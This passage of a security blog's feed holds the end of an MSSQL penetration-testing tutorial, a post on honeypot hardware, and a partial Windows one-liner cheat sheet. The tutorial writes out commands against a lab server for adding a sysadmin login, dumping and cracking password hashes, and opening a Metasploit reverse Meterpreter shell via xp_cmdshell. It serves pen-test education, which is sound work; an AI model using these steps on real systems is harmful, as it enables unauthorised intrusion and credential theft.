-------------------------------------------------------------------------<br />
-------------------------------------------------------------------------<br />
-------------------------------------------------------------------------<br />
------------------------------------------------------------<br />
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
Oct 14 2005 00:33:37<br />
Copyright (c) 1988-2005 Microsoft Corporation<br />
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
<br />
(1 rows affected)<br />
1&gt;</div></div>
<p>So after typing your sql query you&#8217;ll be dropped down to your second prompt &#8220;2&gt;&#8221; there you will need to type &#8220;go&#8221; and hit enter for it to run your query. Running the sqsh client you&#8217;ll get similar results.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# sqsh -S 192.168.134.132 -U sa<br />
sqsh-2.1 Copyright (C) 1995-2001 Scott C. Gray<br />
This is free software with ABSOLUTELY NO WARRANTY<br />
For more information type '\warranty'<br />
Password:<br />
1&gt; select @@version<br />
2&gt; go<br />
<br />
------------------------------------------------------------------------------------------------<br />
------------------------------------------------------------------------------------------------<br />
<br />
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)<br />
Oct 14 2005 00:33:37<br />
Copyright (c) 1988-2005 Microsoft Corporation<br />
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)<br />
<br />
(1 row affected)<br />
1&gt;</div></div>
<p>Just type &#8220;exit&#8221; if you want to leave the client. Another thing to note is the help menu for both commands. Below is the help command for sqsh.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqsh --help</div></div>
<p>Help for sqlcmd.exe</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqlcmd.exe /?</div></div>
<p>One thing that might not be very clear from the help output is how you would connect to a different port. By default both of these clients connect on port 1433, if you want to connect to a different port you&#8217;ll have to use the following syntax.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sqsh -S 192.168.134.132:1444 -U sa<br />
<br />
sqlcmd.exe -S 192.168.134.132 -U sa</div></div>
<p>So getting the versions of the database proves that our clients are working correctly and we have access, next we&#8217;ll focus on sql queries that will extract some useful information that a pen tester could leverage.<br />
Determine the current user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select suser_sname();</div></div>
<p>Create user &#8220;travis&#8221; with password &#8220;secret&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">exec master..sp_addlogin travis, secret</div></div>
<p>Or another way</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create login travis with password='secret';</div></div>
<p>Create a table named pwned</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create table pwned (owned int not null default 1337);</div></div>
<p>Determine current database</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT DB_NAME();</div></div>
<p>List all databases</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT name FROM master..sysdatabases;</div></div>
<p>Determine host name of PC the database is installed on</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT HOST_NAME();</div></div>
<p>Determine users with sysadmin rights</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select loginname from syslogins where sysadmin = 1</div></div>
<p>Add user travis to the sysadmin role</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">exec sp_addsrvrolemember 'travis', 'sysadmin'</div></div>
<p>Now as an attacker I mentioned the three basic options of plunder database, use credentials for further access, and hosting malware. The commands above are examples of &#8220;plundering&#8221; the database and these commands merely scratch the surface. Another plundering idea would be to <a href="http://justgeeks.blogspot.com/2006/10/search-ms-sql-server-for-any-text.html" target="_blank">search all databases for &#8220;items of interest&#8221;</a>. Once you have credentials to the database you have plenty of options for plundering. The second step I mentioned was using your credentials for further access. Two things come to my mind which is cracking sql passwords and gaining access to the underlying OS that hosts the database. An attacker would want to know sql passwords because often those passwords are reused. That reuse includes other databases and possibly other credentials such as active directory credentials. The other piece of gaining access to the underlying OS of the database will allow you to do a number of things such as key logging, searching the file system, <a href="http://en.wikipedia.org/wiki/Pass_the_hash" target="_blank">pass the hash technique</a>, etc. So I&#8217;ll first discuss how to crack the encrypted passwords inside of a mssql database. Just so we&#8217;re on the same page a password is not supposed to be stored in <a href="http://en.wikipedia.org/wiki/Plaintext" target="_blank">clear text</a> in a database is suppose to be stored encrypted as a <a href="http://en.wikipedia.org/wiki/Cryptographic_hash_function" target="_blank">cryptographic hash</a>. Cryptographic hash is a fancy way of saying that the password cannot be easily determined and they encrypted value is commonly referred as a hash, not to be confused with the delicious food. So the next step is to get these hashes and crack&#8217;em.</p>
<p>Extract username and password hashes</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">select name, password_hash FROM master.sys.sql_logins</div></div>
<p>You should see something like the following</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; select name, password_hash from master.sys.sql_logins<br />
2&gt; go<br />
<br />
name<br />
<br />
password_hash<br />
<br />
-----------------------------------------<br />
-----------------------------------------<br />
-----------------------------------------<br />
-----------------------------------------<br />
<br />
sa<br />
<br />
01004086ceb6e0bc04fe5027a51df29e1cf0b74dd3c33214d9db<br />
<br />
travis<br />
<br />
01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e</div></div>
<p>Now you can take that password hash and feed it into a password cracker such as<a href="http://www.openwall.com/john/" target="_blank"> john the ripper</a> but before you do that you&#8217;ll need to add a zero plus X &#8220;0x&#8221; to the beginning of the password hash. This needs to be done because john the ripper expects password hashes in certain formats and if you need to know what that format is for various types of hash functions then <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats" target="_blank">pentestmonkey</a> is a good resource for this type of information. So your modified hash with zero plus X in front should look like the following.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0x01007c5b54a91367647bb18d6efc4de8e9e3560037e39e9f712e</div></div>
<p>Now put that into a text file so we can feed it to john the ripper, in this case I named it mssqlHash.txt. Next all you have to do is use the command &#8220;john&#8221; along with the file that contains the password hashes as below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:/pentest/passwords/john# john mssqlHash.txt<br />
Loaded 1 password hash (MS-SQL05 [ms-sql05 SSE2])<br />
secret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (?)<br />
guesses: 1 &nbsp;time: 0:00:00:00 100.00% (2) (ETA: Fri Dec 16 01:18:56 2011) &nbsp;c/s: 400 &nbsp;trying: secret - service</div></div>
<p>Here john the ripper was able to crack this hash and determined the password was &#8220;secret&#8221;. So now that you&#8217;ve cracked some passwords on this database there&#8217;s a good chance that username and password will work on other databases within the environment you&#8217;re testing. Seeing how server and database admins like to keep things together that same username and password will probably work on another machine on the same vlan so just start nmap scanning to find those open ports then add the username and password you found into your medusa dictionary then let medusa do it&#8217;s brute forcing and hopefully you&#8217;ll find another database you can gain access to.</p>
<p>The last technique I&#8217;ll discuss is gaining access to the underlying operating system that the database is running on. Having sysadmin credentials on the database is awesome but having admin on the underlying operating system is even better. As I mentioned before the stored procedure xp_cmdshell is the best way to gain this kind of access but as you can see from the metasploit enum module xp_cmdshell isn&#8217;t always at our disposal. The xp_cmdshell was enabled by default on mssql 2000 but mssql 2005 and beyond by default does not enable this stored procedure. Even so a mssql 2000 database administrator could disable it as well. One way and maybe the easiest way is to use metasploits mssql_payload module to enable the xp_cmdshell and give you a meterpreter shell back. Below is the command you&#8217;ll need to run. You have to set at least the host you&#8217;re targeting (rhost) and the password of the &#8220;sa&#8221; account. This module will not work unless the user you&#8217;re authenticating with has sysadmin credentials, so the account doesn&#8217;t have to be &#8220;sa&#8221; but it has to be a user with a sysadmin role.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; use exploit/windows/mssql/mssql_payload<br />
msf &nbsp;exploit(mssql_payload) &gt; set rhost 192.168.134.132<br />
rhost =&gt; 192.168.134.132<br />
msf &nbsp;exploit(mssql_payload) &gt; set password password<br />
password =&gt; password<br />
msf &nbsp;exploit(mssql_payload) &gt; exploit<br />
<br />
[*] Started reverse handler on 192.168.134.135:4444 <br />
[*] Command Stager progress - &nbsp; 1.47% done (1499/102246 bytes)<br />
[*] Command Stager progress - &nbsp; 2.93% done (2998/102246 bytes)<br />
snip<br />
.<br />
.<br />
[*] Command Stager progress - &nbsp;99.59% done (101827/102246 bytes)<br />
[*] Sending stage (752128 bytes) to 192.168.134.132<br />
[*] Command Stager progress - 100.00% done (102246/102246 bytes)<br />
[*] Meterpreter session 1 opened (192.168.134.135:4444 -&gt; 192.168.134.132:1046) at 2011-12-21 22:43:36 -0500<br />
<br />
meterpreter &gt;</div></div>
<p>So at this point we have a meterpreter command prompt on the target computer which is better than a regular windows command prompt. From here we can launch a number of attacks. I&#8217;m not going to touch on those for that just simply google &#8220;post exploitation&#8221; to get an idea of what you may want to accomplish next. At this point its a good idea to make sure you&#8217;re on the right computer and determine the types of credentials we have on our target machine. The following commands will determine that information.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">meterpreter &gt; ipconfig<br />
<br />
MS TCP Loopback interface<br />
Hardware MAC: 00:00:00:00:00:00<br />
IP Address &nbsp;: 127.0.0.1<br />
Netmask &nbsp; &nbsp; : 255.0.0.0<br />
<br />
Intel(R) PRO/1000 MT Network Connection<br />
Hardware MAC: 00:0c:29:4c:37:8e<br />
IP Address &nbsp;: 192.168.134.132<br />
Netmask &nbsp; &nbsp; : 255.255.255.0<br />
<br />
meterpreter &gt; getuid<br />
Server username: NT AUTHORITY\SYSTEM</div></div>
<p>So we&#8217;re on the correct computer and we have &#8220;system&#8221; credentials which is the highest credentials you can have on a windows platform. Great success. At the heart of this metasploit module is some sql commands that will enable the xp_cmdshell. If you wanted to manually enable xp_cmdshell you could enter the sql commands below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1&gt; SP_CONFIGURE 'show advanced options', 1<br />
2&gt; go<br />
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.<br />
(return status = 0)<br />
1&gt; reconfigure<br />
2&gt; go<br />
1&gt; SP_CONFIGURE 'xp_cmdshell', 1<br />
2&gt; go<br />
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.<br />
(return status = 0)<br />
1&gt; reconfigure<br />
2&gt; go<br />
1&gt;</div></div>
<p>That&#8217;s all folks, more could be covered here but this will get you started. Once again I haven&#8217;t covered anything new here and this documentation is meant to capture some of the common tasks that need to be completed when testing mssql. Hope this helps and happy mssql hunting.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/N6L2dmdbYO0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 4, hardware</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/zo-9V-RTLwE/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/#comments</comments>
		<pubDate>Sat, 12 Nov 2011 04:18:11 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=435</guid>
		<description><![CDATA[So up to this point you&#8217;ve probably only ran honeyd on your laptop or desktop machine. If you want to get the most out of honeyd then you&#8217;ll probably want to run it on either a server or an embedded device. In the beginning of this series I mentioned you could run a honeypot in [...]]]></description>
			<content:encoded><![CDATA[<p>So up to this point you&#8217;ve probably only ran honeyd on your laptop or desktop machine. If you want to get the most out of honeyd then you&#8217;ll probably want to run it on either a server or an embedded device. In the beginning of this series I mentioned you could run a honeypot in a number of ways. Two of the ways I mentioned was to attract malware to a vulnerable system so that you can analyze the latest and greatest malware. The other way was to attract attackers on your network. In my series I&#8217;m going to keep the focus on detecting attackers on the local network and not trying to find new malware. The <a href="http://www.honeynet.org/">honeynet project</a> already does a great job of tracking down the latest and greatest malware so check that project out.</p>
<p>If you&#8217;re going to use honeyd to detect attackers on your local network then you&#8217;ll need to place your honeypot as close to your networking equipment as possible. This being the case a racked server or small device with numerous network interfaces will likely be the best solution. A racked server didn&#8217;t make much sense for my solution mainly due to the cost but a small embedded device would need good specs to make a good solution. I found a couple of solutions.</p>
<p>First the option that I went with to implement my honeypot running honeyd. <a href="http://soekris.com/products/net5501.html" target="_blank">The Soekris Net5501</a>.</p>
<p><a href="http://travisaltman.com/wp-content/net5501_BC_front_overview.jpg"><img class="aligncenter size-full wp-image-436" title="net5501_BC_front_overview.jpg" src="http://travisaltman.com/wp-content/net5501_BC_front_overview.jpg" alt="" width="500" height="192" /></a></p>
<p><a href="http://travisaltman.com/wp-content/net5501_BC_back_overview.jpg"><img class="aligncenter size-full wp-image-437" title="net5501_BC_back_overview" src="http://travisaltman.com/wp-content/net5501_BC_back_overview.jpg" alt="" width="500" height="192" /></a></p>
<p>The great thing about the Soekris is that it has four network interfaces. This allows you access to four different vlans within your environment. Out of the box it comes with the ability to load an OS on compact flash, which is the option that I went with. You could also get a PCI extension that could be fitted with a hard drive. If your install of a honeypot would require large data storage then you&#8217;ll need to think about that option. I did not care about data storage, I simply wanted an alert when honeyd saw something come across the wire. Besides even if you needed storage you could have honeyd ship off that data / logs to a centralized location. For $250 bucks this is a great solution. You won&#8217;t find to many small devices like this that have four network interfaces. Now you could get a full rack system with plenty of network interfaces but then your cost goes up. More network interfaces would mean that you have access to more vlans so if that&#8217;s important to you then you&#8217;ll have to plan accordingly. This is setup is not meant to cover your entire organization just a handful of important vlans. Below is a diagram of a potential setup.</p>
<p><a href="http://travisaltman.com/wp-content/soekrisDiagram.png"><img class="aligncenter size-full wp-image-440" title="soekrisDiagram" src="http://travisaltman.com/wp-content/soekrisDiagram.png" alt="" width="558" height="373" /></a></p>
<p>In this setup you can place a honeyd host on four different vlans looking for any devices that connect to your honeypot when they should have no business connecting to your honeypot. Keep in mind this is not meant to be an intrusion detection replacement. This solution will ride on top of your existing intrusion detection. Besides most intrusion detection setups that I&#8217;ve seen don&#8217;t monitor activity inside a particular vlan much less traffic between vlans. The setup I&#8217;ve described here is meant to monitor vlans with important assests and data. So in the scenario above you would have to connect your Soekris device to a &#8220;core&#8221; router that has the vlans you want to monitor. You could also connect the Soekris device to multiple routers if those vlans are mananged by different routers. There are numerous ways to tackle a problem that I&#8217;ve described but this is just one of those ways.</p>
<p>There is another device that I believe is very handy in these types of situations and that&#8217;s the <a href="http://pcengines.ch/alix.htm" target="_blank">Alix boards by PC Engines</a>. If you want to buy one I would recomend <a href="http://store.netgate.com/PC-Engines-C69.aspx" target="_blank">NetGate</a> which also has other options such as enclosures and lots of other wireless goodness. The Alix board plus enclosure is very small, about the same size of a home wireless router. Below is an Alix board without the enclosure.</p>
<p><a href="http://travisaltman.com/wp-content/ALIX_2D13.jpg"><img class="aligncenter size-full wp-image-441" title="ALIX_2D13" src="http://travisaltman.com/wp-content/ALIX_2D13.jpg" alt="" width="340" height="340" /></a></p>
<p>You can buy them with a number of configurations, the one above has three network interfaces, one compact flash, one mini pci, plus a cpu and RAM. So no hard drive but you can easily run your OS on the compact flash. Of course the OS of choice should be Linux. Hopefully this answers the question as to what hardware you might could use for your installation of a honeypot in your organization&#8217;s environment. Unless you do everything at your organization this type of work will require you to work closely with your network engineering team. That&#8217;s all I have, I&#8217;d love to hear from others on how they have their honeypots setup and what hardware is powering that setup. Please comment if you have a question.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/zo-9V-RTLwE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-4-hardware/</feedburner:origLink></item>
		<item>
		<title>One liner commands for windows – cheat sheet</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/okaOENTVDig/</link>
		<comments>http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/#comments</comments>
		<pubDate>Tue, 04 Oct 2011 02:18:34 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=427</guid>
		<description><![CDATA[Remotely determine logged in user
wmic /node:remotecomputer computersystem get username
List running processes
wmic process list brief
Kill a process
wmic process where name=&#34;cmd.exe&#34; delete
Determine open shares
net share
wmic share list brief
Determine IP address
ipconfig
Get a new IP address
ipconfig /release
ipconfig /renew
Remotely display machine&#8217;s MAC address
wmic /node:machinename nic get macaddress
Remotely list running processes every second
wmic /node:machinename process list brief /every:1
Remotely display System Info
wmic [...]]]></description>
			<content:encoded><![CDATA[<p>Remotely determine logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:remotecomputer computersystem get username</div></div>
<p>List running processes</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process list brief</div></div>
<p>Kill a process</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process where name=&quot;cmd.exe&quot; delete</div></div>
<p>Determine open shares</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">net share<br />
wmic share list brief</div></div>
<p>Determine IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig</div></div>
<p>Get a new IP address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ipconfig /release<br />
ipconfig /renew</div></div>
<p>Remotely display machine&#8217;s MAC address</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename nic get macaddress</div></div>
<p>Remotely list running processes every second</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename process list brief /every:1</div></div>
<p>Remotely display System Info</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename computersystem list full</div></div>
<p>Disk drive information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic diskdrive list full<br />
wmic partition list full</div></div>
<p>Bios info</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic bios list full</div></div>
<p>List all patches</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe</div></div>
<p>Look for a particular patch</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic qfe where hotfixid=&quot;KB958644&quot; list full</div></div>
<p>Remotely List Local Enabled Accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename USERACCOUNT WHERE &quot;Disabled=0 AND LocalAccount=1&quot; GET Name</div></div>
<p>Start a service remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:machinename 4 service lanmanserver CALL Startservice<br />
sc \\machinename start lanmanserver</div></div>
<p>List services</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic service list brief<br />
sc \\machinename query</div></div>
<p>Disable startup service</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sc config example disabled</div></div>
<p>List user accounts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic useraccount list brief</div></div>
<p>Enable RDP remotely</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic /node:&quot;machinename 4&quot; path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”</div></div>
<p>List number of times a user logged on</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic netlogin where (name like &quot;%adm%&quot;) get numberoflogons</div></div>
<p>Query active RDP sessions</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">qwinsta /server:192.168.1.1</div></div>
<p>Remove active RDP session ID 2</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">rwinsta /server:192.168.1.1 2</div></div>
<p>Remotely query registry for last logged in user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">reg query &quot;\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&quot; /v DefaultUserName</div></div>
<p>List all computers in domain &#8220;blah&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dsquery computer &quot;OU=example,DC=blah&quot; -o rdn -limit 6000 &amp;gt; output.txt</div></div>
<p>Reboot</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /r /t 0</div></div>
<p>Shutdown</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /s /t 0</div></div>
<p>Remotely reboot machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">shutdown /m \\192.168.1.1 /r /t 0 /f</div></div>
<p>Copy entire folder and its contents from a remote source to local machine</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">xcopy /s \\remotecomputer\directory c:\local</div></div>
<p>Find location of file with string &#8220;blah&#8221; in file name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dir c:\ /s /b | find &quot;blah&quot;</div></div>
<p>Spawn a new command prompt</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">start cmd</div></div>
<p>Determine name of a machine with known IP</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nbtstat -A 192.168.1.1</div></div>
<p>Find directory named blah</p>
